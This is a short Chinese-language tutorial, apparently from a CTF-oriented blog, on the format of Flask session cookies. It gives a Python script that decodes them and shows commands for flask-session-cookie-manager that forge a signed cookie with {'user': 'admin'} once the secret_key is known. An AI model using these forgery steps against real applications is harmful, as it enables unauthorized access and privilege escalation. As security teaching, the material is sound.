flask 的 session 格式

flask 的 session 格式一般是由下面三个部分组成

1
base64 加密的 session 数据(json、zlib 压缩处理的字符串) . 时间戳 . 签名
  • 时间戳:用来告诉服务端数据最后一次更新的时间

  • 签名:是利用 Hmac 算法,将 session 数据和时间戳加上 secret_key 加密而成的,用来保证数据没有被修改

flask session 解密脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
#!/usr/bin/env python3
import sys
import zlib
from base64 import b64decode
from flask.sessions import session_json_serializer
from itsdangerous import base64_decode

def decryption(payload):
payload, sig = payload.rsplit(b'.', 1)
payload, timestamp = payload.rsplit(b'.', 1)

decompress = False
if payload.startswith(b'.'):
payload = payload[1:]
decompress = True

try:
payload = base64_decode(payload)
except Exception as e:
raise Exception('Could not base64 decode the payload because of '
'an exception')

if decompress:
try:
payload = zlib.decompress(payload)
except Exception as e:
raise Exception('Could not zlib decompress the payload before '
'decoding the payload')

return session_json_serializer.loads(payload)

if __name__ == '__main__':
print(decryption(sys.argv[1].encode()))

flask session 伪造

进行 session 伪造时,需要获取用于签名认证的 secret_key

然后使用 flask-session-cookie-manager 工具对 session 进行伪造

  • 切换到虚拟环境
1
conda activate flask-session-cookie-manager
  • 解密
1
python flask_session_cookie_manager3.py decode -s "secret_key" -c "eyJ1c2VyIjoiZ3Vlc3QifQ.Z25YIQ.vh41qIEVKNWJrGfoSBw07De0HMs"
  • 加密
1
python flask_session_cookie_manager3.py encode -s "secret_key" -t "{'user': 'admin'}"